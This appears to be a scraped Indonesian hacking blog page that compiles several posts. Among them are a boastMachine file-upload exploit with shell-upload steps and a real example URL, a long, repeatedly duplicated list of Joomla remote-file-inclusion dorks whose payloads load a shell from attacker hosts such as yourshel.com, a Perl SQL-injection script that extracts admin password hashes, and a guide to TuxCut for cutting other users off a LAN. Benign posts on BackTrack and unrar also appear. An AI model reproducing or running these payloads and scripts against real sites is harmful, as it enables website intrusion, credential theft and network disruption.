www.facebook.com g0t h4cked

maap postinganya saya hapus karena sesuatu dan lain hal :)

Read More ...

boastMachine v3.1 Remote File Upload Vulnerability

credit : alnjm33

Exploit Code :

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::
Exploit Title : boastMachine v3.1 Remote File Upload Vulnerability

Author: alnjm33

Software Link: http://boastology.com/pages/dload.php?id=bmachine-3.1.zip
Software Link2:http://boastology.com/pages/dload.php?id=bmachine-3.1.rar


Version: 3.1

Tested on: Version 3.1
My home : Sec-war.com

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::
==========================================Dork=============================
=============
( Powered by
boastMachine v3.1
)
================================Exploit====================================

First join in the Site
/Server/path/register.php
After that
login in the Site
/Server/path/login.php
After Login
go to this link
/Server/path/bmc/files.php?form_id=new
Now upload your shell like ( Shell.php.rar )
Now you can find your shell here
/Server/path/files/username_Shell.php.rar
e.g
http://ldukestudio.com/hp_boastMachine/files/alnjm33_aasaa.php.rar
===========================================================================

Read More ...

TuxCut ,Tools Pengganti Netcut pada Linux

Tuxcut???apa yang disebut dengan tuxcut??TuxCut, sebuah aplikasi yang hampir sama seperti netcut di windows, yang dapat digunakan untuk memotong akses internet pada hotspot, atau sebuah PC LAN workgroup dari client ke server atau sebaliknya dengan memanfaatkan protokol ARP. Program ini dipergunakan oleh pengguna jaringan yang jail dan ingin mengambil jatah bandwith untuk dipakai sendiri. Tuxcut di buat dari bahasa PyQt, untuk lebih jelasnya bisa langsung mengunjungi situs resminya di http://bitbucket.org/a_atalla/tuxcut/src/


Tuxcut agak sedikit berbeda dengan Netcut, di dalam Tuxcut sudah di bundel fitur buat memproteksi kita agar koneksi internet kita tidak bisa dicut atau di potong oleh user lain. Selain itu, ada fitur buat mac scanning dan mac changer-nya juga.. Sebaliknya untuk Netcut, agar kita terproteksi dari user jail yang memakai Netcut, kita harus menginstall program lagi yakni AntiNetcut (meski netcut selalu lebih maju dari anti netcut).

pada postingan ini saya menggunakan fedora core 11 sebagai sistem operasi saya :) .
pada fedora cara penginstalannya sangat mudah tinggal download filenya di

http://bitbucket.org/a_atalla/tuxcut/downloads/TuxCut-3.2-1.i586.rpm

setelah selesai mendownload klik file tersebut.maka otomatis sistem akan segera melakukan penginstalan :D


sedangkan pada kubuntu ada cara lain yang di lakukan
cara ini saya dapatkan di jasakom

1. Download TuxCut, karena kita mau menginstall di kubuntu, kita download debian package di http://bitbucket.org/a_atalla/tuxcut/downloads/TuxCut-3.2_all.deb

2. Sebelum menginstall TuxCut, kita perlu menginstall arp-scan arp-tables dan dsniff (membutuhkan koneksi internet agar kebih mudah dalam proses installnya)

a. Install arp-scan dengan perintah
$ sudo apt-get arp-scan

b. Install dsniff dengan perintah
$ sudo apt-get install dsniff

c. Install arptables, download versi arptables terbaru di http://sourceforge.net/projects/ebtables/files/arptables/

tar zxf arptables-v0.0.3-3.tar.gz
cd arptables-v0.0.3-3
make && make install

3.Install TuxCut dengan perintah
$ sudo dpkg -i TuxCut-3.2_all.deb

*jika masih terdapat error karena library yang masih kurang, bisa dicoba command berikut: apt-get install -f


Untuk mematikan salah satu client, cari ip client yang mau dipotong koneksinya kemudian klik cut. TuxCut bisa digunakan untuk mematikan para NetCut user, tetapi sebaliknya NetCut user tidak bisa meng-cut TuxCut user. Disinilah kelebihan dari TuxCut, biar lebih powerfull lagi, bisa kita kombinasikan dengan membuat rules dengan arp-tables yang kita install tadi. Mungkin lain waktu kita akan bahas sedikit mengenai arp-tables untuk membuat linux kita kebal dari arp poisoning (arp spoofing) untuk lebih jelasnya bisa lihat gambar berikut ini





Sedangkan Untuk melakukan proteksi ARP pada linux kita, yang perlu kita lakukan hanyalah mengaktifkan centang "Protect Me" pada TuxCut. Mudah bukan.

Read More ...

Back Track 4 Final

Tim BackTrack rupanya masih fokus dalam pengembangan sistem operasi yang berorientasi pada sistem keamanan, hal ini di buktikan dengan adanya versi Linux BackTrack 4 Final.

BackTrack 4 Final sekarang ini menawarkan kernel linux terbaru yaitu kernel 2.6.30.4 dilengkapi juga dengan patch untuk wireless driver untuk menanggulangi serangan wireless injection (wireless injection attacks)


BackTrack Adalah sistem operasi linux live DVD yang sangat populer yang khusus menangani kemanan sistem, jaringan, analisan dan diagnosa dari beberapa aplikasi yang ada.

File BackTrack tersedia dalam berbagai macam, antara lain :

1. BackTrack 4 Final PWNSAUCE - ISO
Description: Image Download
Name:: bt4-final.iso
Size: 1570 MB
MD5: af139d2a085978618dc53cabc67b9269
Download BackTrack 4 Final PWNSAUCE - ISO
Download BackTrack 4 Final PWNSAUCE - ISO Torrent

2. BackTrack 4 Final PWNSAUCE - VMware
Description: VM Image Download
Name:: bt4-final-vm.zip
Size: 2000 MB
MD5: 733b47fad1d56d31bc63c16b3706a11c
Download BackTrack 4 Final PWNSAUCE - VM
Download BackTrack 4 Final PWNSAUCE - VM Torrent

Jika berhasil melakukan Donwload BackTrack 4 Final, pastikan untuk selalu mengecek ukuran file dengan menyesuaikan MD5 yang sudah tercantumkan. Anda bisa melakukan pemeriksaan MD5 dengan Nero MD5 Verifier

Read More ...

Joomla Rfi ,Lfi Exploit

Google dork:
inurl:index.php?option=com_simpleboard
CODE:
/components/com_simpleboard/file_upload.php?sbp=http://yourshel.com/666r.txt?
---------------------------------------------------------------
Google dork:
inurl:\"com_hashcash\"

CODE:
/components/com_hashcash/server.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?

------------------------------------------------------------------------------
Google dork:
inurl:\"com_htmlarea3_xtd-c\"
CODE:
/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
------------------------------------------------------------------------------------
Google dork:
inurl:\"com_sitemap\"
CODE:
/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
--------------------------------------------------------------------
Google dork:
inurl:\"com_forum\"
CODE:
/components/com_forum/download.php?phpbb_root_path=http://yourshel.com/666r.txt?
--------------------------------------------------------------------
Google dork:
inurl:\"com_pccookbook\"
CODE:
components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------------------
Google dork:
inurl:index.php?option=com_extcalendar
CODE:
/components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?

-----------------------------------------------------------------------
Google dork:
inurl:\"minibb\"
CODE:
components/minibb/index.php?absolute_path=http://yourshel.com/666r.txt?
---------------------------------------------------------------------
Google dork:
inurl:\"com_smf\"
CODE:
/components/com_smf/smf.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?

-----------------------------------------------------------------------
CODE:
/modules/mod_calendar.php?absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:\"com_pollxt\"
CODE:
/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:\"com_loudmounth\"
CODE:
/components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=http://shellerz.com/r.txt?
------------------------------------------------------------------------
Google dork:
inurl:\"com_videodb\"
CODE:
/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=http ://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:index.php?option=com_pcchess
CODE:
/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:\"com_multibanners\"
CODE:
/administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=ht tp://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:\"com_a6mambohelpdesk\"

CODE:
/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http ://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:\"com_colophon\"
CODE:
/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:\"com_mgm\"
CODE:
administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:\"com_mambatstaff\"
CODE:
/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:\"com_securityimages\"
CODE:
/components/com_securityimages/configinsert.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
CODE:
/components/com_securityimages/lang.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:\"com_artlinks\"
CODE:
/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:\"com_galleria\"
CODE:
/components/com_galleria/galleria.html.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?

-------------------------------
Google dork:
inurl:index.php?option=com_simpleboard
CODE:
/components/com_simpleboard/file_upload.php?sbp=http://yourshel.com/666r.txt?
---------------------------------------------------------------
Google dork:
inurl:\"com_hashcash\"

CODE:
/components/com_hashcash/server.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?

------------------------------------------------------------------------------
Google dork:
inurl:\"com_htmlarea3_xtd-c\"
CODE:
/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
------------------------------------------------------------------------------------
Google dork:
inurl:\"com_sitemap\"
CODE:
/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?

--------------------------------------------------------------------
Google dork:
inurl:\"com_forum\"
CODE:
/components/com_forum/download.php?phpbb_root_path=http://yourshel.com/666r.txt?
--------------------------------------------------------------------
Google dork:
inurl:\"com_pccookbook\"
CODE:
components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------------------
Google dork:
inurl:\"com_galleria\"
CODE:
/components/com_galleria/galleria.html.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?

-------------------------------
Google dork:
inurl:index.php?option=com_simpleboard
CODE:
/components/com_simpleboard/file_upload.php?sbp=http://yourshel.com/666r.txt?
---------------------------------------------------------------
Google dork:
inurl:\"com_hashcash\"

CODE:
/components/com_hashcash/server.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?

------------------------------------------------------------------------------
Google dork:
inurl:\"com_htmlarea3_xtd-c\"
CODE:
/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
------------------------------------------------------------------------------------
Google dork:
inurl:\"com_sitemap\"
CODE:
/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?

--------------------------------------------------------------------
Google dork:
inurl:\"com_forum\"
CODE:
/components/com_forum/download.php?phpbb_root_path=http://yourshel.com/666r.txt?
--------------------------------------------------------------------
Google dork:
inurl:\"com_pccookbook\"
CODE:
components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------------------
Google dork:
inurl:\"com_colophon\"
CODE:
/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:\"com_mgm\"
CODE:
administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:\"com_mambatstaff\"
CODE:
/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:\"com_securityimages\"
CODE:
/components/com_securityimages/configinsert.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
CODE:
/components/com_securityimages/lang.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:\"com_artlinks\"
CODE:
/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?
-----------------------------------------------------------------------
Google dork:
inurl:\"com_galleria\"
CODE:
/components/com_galleria/galleria.html.php?mosConfig_absolute_path=http://yourshel.com/666r.txt?

Read More ...

Joomla com_bookflip(book_id) Sql injection

#!/usr/bin/perl -w

#Joomla com_bookflip(book_id) Sql injection#
########################################
#[~] Author : psychotic_girl
#[~] Greetz : v3n0m - z0mb13 - All YCL Crew
#---------------------------------------
#[!] BookFlip
#[!] psychotic_girl 2009
#[!] Yogyacarderlink
#[!] psychotic_girl gratuitement.
#[!] psychotic_girl@null.net
#[!] www.yogyacarderlink.web.id
#[!] 2.1
#---------------------------------------
#[!] Google_Dork: inurl:"com_bookflip"
########################################

system("color FF0000");
print "\t ###############################################################\n\n";
print "\t # Yogyacarderlink #\n\n";
print "\t ###############################################################\n\n";
print "\t # - Joomla com_bookflip(book_id)Remote SQL Injection Vuln #\n\n";
print "\t # - Yogyacarderlink #\n\n";
print "\t # - Cod3d by psychotic_girl #\n\n";
print "\t ###############################################################\n\n";
use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=);
#Column Name
$c_n="concat(username,0x3a,password)";
#Table_name
$t_n="jos_users";
$U="-9999+UNION+SELECT+";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/index.php?option=com_bookflip&book_id=".$U."1,".$c_n.",3,4,5,6,7,8,9,0,11,12,13,14,15,
16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from/**/".$t_n."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Admin Hash Found - by psychotic_girl (v3n0m_GirL) ! # \n\n";
}
else{print "\n[-] Admin Hash Not Found...\n";
}


Read More ...

ekstrak *.rar in Fedora

Bagai mana cara meng ekstrak file dengan ekstensi .rar di fedora?mungkin yang baru memakai OS fedora bingung untuk meng ekstark file tersebut.berikut ada trik untuk mengesktrak file tersebut

pertama buka konsole pada fedora anda,kemudian ketikkan perintah berikut

# yum -y install unrar

tapi ingat rpmfusionnya sudah harus ter instal,kalau belum terinstal,silahkan masuk ke aplikasi yumex kemudian ketikkan rpmfusion

buka yum extender-> buka form category trus ganti dari none ke rpm group -> trus buka group aplication -> buka archiving nah disana pasti ada aplikasi buat rar extractor.kalo ga da software unrar itu berarti repo nya kurang lengkap

atau bisa juga menggunakan cara berikut


wget -c http://www.rarlab.com/rar/rarlinux-3.6.0.tar.gz
tar zxvf http://www.rarlab.com/rar/rarlinux-3.6.0.tar.gz
cd rar; cp rar unrar /bin

trus kalo mau extract file rar, cukup dengan unrar e

sekian :)

Read More ...